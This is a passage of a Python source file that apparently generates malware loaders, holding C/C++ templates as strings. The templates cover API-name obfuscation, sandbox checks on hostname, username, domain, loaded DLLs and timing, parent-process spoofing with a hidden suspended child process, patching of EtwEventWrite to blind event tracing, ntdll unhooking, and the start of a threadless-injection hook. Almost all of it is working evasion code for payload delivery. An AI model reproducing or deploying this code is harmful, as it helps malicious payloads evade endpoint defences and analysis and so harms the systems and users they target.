NtQueueApcThread = (myNtQueueApcThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "A" + "l" + "e" + "r" + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
NtAlertResumeThread = (myNtAlertResumeThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "G" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
NtGetContextThread = (myNtGetContextThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "S" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
NtSetContextThread = (myNtSetContextThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "D" + "e" + "l" + "a" + "y" + "E" + "x" + "e" + "c" + "u" + "t" + "i" + "o" + "n";
NtDelayExecution = (myNtDelayExecution)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
"""
sleep_check = """
BOOL SleepCheck() {
ULONG64 timeBeforeSleep = GetTickCount64();
for (;;) {
int flag = 0;
for (int n = 1; n < 5555; n++) {
if (n == 0 || n == 1)
flag = 1;
for (int i = 2; i <= n / 2; ++i) {
if (n % i == 0) {
flag = 1;
break;
}
}
}
ULONG64 timeAfterSleep = GetTickCount64();
if (timeAfterSleep - timeBeforeSleep > 10000) {
break;
}
}
}
"""
hostname_sanbox_check = """
int hostcheck()
{
char hostname[64];
DWORD hostnamesize = 64;
GetComputerNameA(hostname, &hostnamesize);
if (strcmp(hostname, skCrypt("REPLACE_ME_HOSTNAME")) != 0) {
exit (EXIT_FAILURE);
}
return 0;
}
"""
username_sanbox_check = """
int usercheck()
{
char username[4000];
DWORD usernameamesize = 4000;
GetUserName(username, &usernameamesize);
if (strcmp(username, skCrypt("REPLACE_ME_USERNAME")) != 0) {
exit (EXIT_FAILURE);
}
return 0;
}
"""
domain_sanbox_check = """
int domaincheck()
{
char domain[164];
DWORD domainsize = 164;
GetComputerNameEx(ComputerNameDnsDomain, domain, &domainsize);
if (strcmp(domain, skCrypt("REPLACE_ME_DOMAINNAME")) != 0) {
exit (EXIT_FAILURE);
}
return 0;
}
"""
dll_sandbox_check = """
int PrintModules(DWORD processID)
{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
cid.UniqueProcess = (HANDLE)processID;
// Print the process identifier.
//printf("\\nProcess ID: %u\\n", processID);
// Get a handle to the process.
NtOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &oa, &cid);
if (NULL == hProcess)
return 1;
// Get a list of all the modules in this process.
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if (GetModuleFileNameEx(hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
//std::string target = L"Dbghelp.dll";
String dang = szModName;
//CHECK TO SEE IF THESE DLLS ARE LOADED. IF NOT, THEN RETURN 2 TO CONTINUE FOR LOOP
if (dang.find("SbieDll.dll") != std::string::npos || dang.find("Api_log.dll") != std::string::npos || dang.find("Dir_watch.dll") != std::string::npos || dang.find("dbghelp.dll") != std::string::npos)
{
// Print the module name and handle value.
//_tprintf(TEXT("\\t%s (0x%08X)\\n"), szModName, hMods[i]);
return 2;
}
}
}
}
// Release the handle to the process.
NewNtClose(hProcess);
return 0;
}
int getLoadedDlls()
{
DWORD aProcesses[1024];
DWORD cbNeeded;
DWORD cProcesses;
unsigned int i;
// Get the list of process identifiers.
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
return 1;
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the names of the modules for each process.
int result;
int done = 0;
DWORD saved;
//Loop for dlls. Loop will continue until dlls are found to bypass sandboxing.
while (done != 2)
{
for (i = 0; i < cProcesses; i++)
{
result = PrintModules(aProcesses[i]);
if (result == 2)
{
done = result;
saved = aProcesses[i];
}
}
}
return 0;
}
"""
# Thanks to @Snovvcrash for helping improve PPID spoofing
ppid_priv_check = """
if (GetProcElevation(entry.th32ProcessID))
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NewNtClose(snapshot);
return hProcess;
}
else
{
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
"""
ppid_unpriv_check = """
DWORD sessionID;
ProcessIdToSessionId(GetCurrentProcessId(), &sessionID);
if (sessionID == GetProcSessionID(entry.th32ProcessID))
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NewNtClose(snapshot);
return hProcess;
}
else
{
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
"""
get_proc_session_ID = """
DWORD GetProcSessionID(DWORD procID)
{
HANDLE hProcess = NULL;
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(procID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cID);
HANDLE hToken;
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken))
{
DWORD dwTokLen = GetTokenInfoLength(hToken, TokenSessionId);
LPDWORD lpSessionId = (LPDWORD)VirtualAlloc(nullptr, dwTokLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD dwRetLen;
if (GetTokenInformation(hToken, TokenSessionId, lpSessionId, dwTokLen, &dwRetLen))
return *lpSessionId;
}
return 0;
}
"""
get_proc_elevation = """
DWORD GetProcElevation(DWORD procID)
{
HANDLE hProcess = NULL;
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(procID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cID);
HANDLE hToken;
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken))
{
DWORD dwTokLen = GetTokenInfoLength(hToken, TokenElevation);
DWORD dwRetLen;
TOKEN_ELEVATION_TYPE elevType;
if (GetTokenInformation(hToken, TokenElevation, &elevType, dwTokLen, &dwRetLen)) {
return elevType;
}
}
return 0;
}
"""
process_functions = """
DWORD GetTokenInfoLength(HANDLE hToken, TOKEN_INFORMATION_CLASS tokClass)
{
DWORD dwRetLength = 0x0;
GetTokenInformation(hToken, tokClass, NULL, 0x0, &dwRetLength);
return dwRetLength;
}
REPLACE_GET_PROC_TOKEN_FUNCTION
HANDLE GetParentHandle(LPCSTR parent)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (stricmp(entry.szExeFile, parent) == 0)
{
REPLACE_PPID_PRIV_CHECK
}
}
}
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
PROCESS_INFORMATION SpawnProc(LPSTR process, HANDLE hParent) {
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 2, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &attributeSize);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
REPLACE_PPID_SPOOF
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT | STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_HIDE;
if (!CreateProcessA(NULL, process, NULL, NULL, TRUE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
}
DeleteProcThreadAttributeList(si.lpAttributeList);
return pi;
}
"""
get_parent_handle_stub_only = """
HANDLE GetParentHandle(LPCSTR parent)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (stricmp(entry.szExeFile, parent) == 0)
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NewNtClose(snapshot);
return hProcess;
}
else
{
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
}
}
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
"""
# Thanks to TheD1rkMtr for this code: https://github.com/TheD1rkMtr/ntdlll-unhooking-collection
unhook_ntdll = """
//START UNHOOKING CODE
BOOL DisableETW(void) {
DWORD oldprotect = 0;
char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
char sntdll[] = { 'n','t','d','l','l', 0 };
// xor rax, rax;
// ret
char patch[] = { 0x48, 0x33, static_cast<char> (0xc0), static_cast<char> (0xc3) };
void* addr = (PVOID)GetProcAddress(GetModuleHandleA(sntdll), sEtwEventWrite);
if (!addr) {
safe_print(skCrypt("Failed to get EtwEventWrite Addr (%u)\\n"), GetLastError());
return FALSE;
}
BOOL status1 = VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!status1) {
safe_print(skCrypt("Failed in changing protection (%u)\\n"), GetLastError());
return FALSE;
}
memcpy(addr, patch, sizeof(patch));
BOOL status2 = VirtualProtect(addr, 4096, oldprotect, &oldprotect);
if (!status2) {
safe_print(skCrypt("Failed in changing protection back (%u)\\n"), GetLastError());
return FALSE;
}
return TRUE;
}
LPVOID MapNtdll() {
UNICODE_STRING DestinationString;
const wchar_t SourceString[] = { '\\\\','K','n','o','w','n','D','l','l','s','\\\\','n','t','d','l','l','.','d','l','l', 0 };
RtlInitUnicodeString(&DestinationString, SourceString);
OBJECT_ATTRIBUTES ObAt;
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL );
HANDLE hSection;
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
if (!NT_SUCCESS(status1)) {
safe_print(skCrypt("[!] Failed in NtOpenSection (%u)\\n"), GetLastError());
return NULL;
}
PVOID pntdll = NULL;
ULONG_PTR ViewSize = NULL;
PVOID JUNKVAR = NULL;
NTSTATUS status2 = NtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {
safe_print(skCrypt("[!] Failed in NtMapViewOfSection (%u)\\n"), GetLastError());
return NULL;
}
return pntdll;
}
BOOL Unhook(LPVOID module) {
HANDLE hntdll = GetModuleHandleA(Nt);
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
if (!NTheader) {
safe_print(skCrypt(" [-] Not a PE file\\n"));
return FALSE;
}
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
DWORD oldprotect = 0;
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
char txt[] = { '.','t','e','x','t', 0 };
if (!strcmp((char*)sectionHdr->Name, txt)) {
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!status1) {
return FALSE;
}
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
if (!status2) {
return FALSE;
}
}
return TRUE;
}
}
//end unhooking code
"""
threadless_definitions = """
//START THREADLESS DEFINITIONS
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
//END THREADLESS DEFINITIONS
"""
threadless_functions = """
//START THREADLESS FUNCTIONS
void GenerateHook(UINT_PTR originalInstructions, char* shellcodeLoader)
{
for (int i = 0; i < 8; i++)
shellcodeLoader[18 + i] = ((char*)&originalInstructions)[i];